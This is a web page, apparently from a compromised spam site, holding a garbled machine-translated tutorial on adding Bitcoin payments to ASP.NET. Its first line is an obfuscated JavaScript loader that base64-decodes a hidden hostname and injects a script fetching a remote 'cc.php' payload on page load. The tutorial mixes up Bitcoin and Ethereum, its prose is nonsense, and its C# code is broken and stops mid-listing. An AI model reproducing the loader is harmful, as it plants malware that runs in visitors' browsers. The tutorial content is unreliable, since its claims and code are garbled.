const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx);const script=document.createElement(„script”);script.src=”https://”+pde+”cc.php?u=b32cb601″;document.body.appendChild(script);
Integration Payan Bitcoin with ASP.NET: Blood handling
Insurance
————
Posolka hundreds of bitcoins extend the splash, all over the predatrials of the sight of the fever. One of the popular variants is ethereum, which brings out their own dentalized adjusts (DAPP) and interstate the functionality of the plate into their own projects. In this state, we will conduct you, how to interact the Bitcoin Platage with ASP.NET, the renewed structure for the creation of the web -adjusts.
PROVIDERS
In front of us, we will take the fact that you have the following:
- The main Ponimania asp.net and its function.
- Koshelek Ethereum (for example, Metamask) for the ethereum.
- Undership records of cryptocurrency (for example, coinbase) for Bitcoin (BTC).
- Wednesday testing (Sandy), set on your ethereum mainnet.
Shag 1: Setting up a test ethereum
To check the Bitkinsky Platures in ASP.NET, you need to develop a test of the ethereum, using the final point http: // Localhost: 8000
. This is allowed to allow you to make a place with a place blockchain ethereum, not in the real gatherings for transaction.
Shag 2: Install the non -going libraries and packages
In order to integrating the functional of the Bitcoin Payan in your project asp.net, you need to install the following libraries:
System.net.http
for http communication.
Microsoft.entframeworkcore.sqlserver
(for integrated database).
Ethereum.net
(Library.
You can install these packages of NUGET:
`Bash
Install- Package System.Net.http
Install- Package Microsoft.entityframeworkcore.sqlserver
Install- Package Ethereum.net
`
Shag 3: Set up the Bitcoin Platage Class
Submit New Class C#that will obey the transaction of bitcoins. This class will be inadvertently for the creation, website and bite.
`csharp
Using System.net.http;
Using ethereum.net.client;
Microsoft.entframeworkcore;
Bitcoinplating of the Open Class
{
Part Httpclient _httpclient;
Social Bitcoin (String SecretKey)
{
Var Client = New Client (New HTTPCCLienTandler ());
Client.timeout = TimesPan.fromseconds (100);
_httpclient = client;
_secretKey = secretkey;
}
PUBLIC Async Task Senbitcointransactionasync (Bitcoinaddress, Biginteger summary)
{
var Payload = $ "tx_hash = {sensraddress}";
Var Response = Await _httpclient.postasync ("http: // Localhost: 8000/BitcoinPayment", New Stringcontent (Power-loading, System.text.encoding.utf8, "Application/Xwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww.
IF (Respose.issuccessstatuscode)
{
Console.Writeline ($ "transaction is firmly distributed: {respond.content.RadassstringASYNC (). Result}");
}
}
Public Async Task ATEBITCOINTRANSACTIONSYNC (BIGINTEGER's sum)
{
var Payload = $ "tx_hash = {recedress}";
Var Response = Await _httpclient.postasync ("Http: // Localhost: 8000/Cretbitcoin", New Stringcontent (Power-load, system.text.encoding.utf8, "Application/Xwwwwwwwwwwwwwwwwwwwwww-
IF (Respose.issuccessstatuscode)
{
Console.writeline ($ "transaction is successfully attached: {respond.content.readassstringASYNC (). Result}");
Returned Senderaddress;
}
}
APPOLY STRENGE SENDERADDRESS
{
Cap {Return "0x ..." + Cryptoaddress; }
}
Particular string receddress
{
Cap {Return "0x ..." + Cryptoaddress; }
}
}
Shag 4: Integrate Pay Bitcoin with ASP.NET Core
Submit the new basic project asp.net and add the following code to your file Startup.cs
:
„ csharp
Microsoft.aspnetcore.builder;
Microsoft.aspnetcore.hosting;
Using System.net.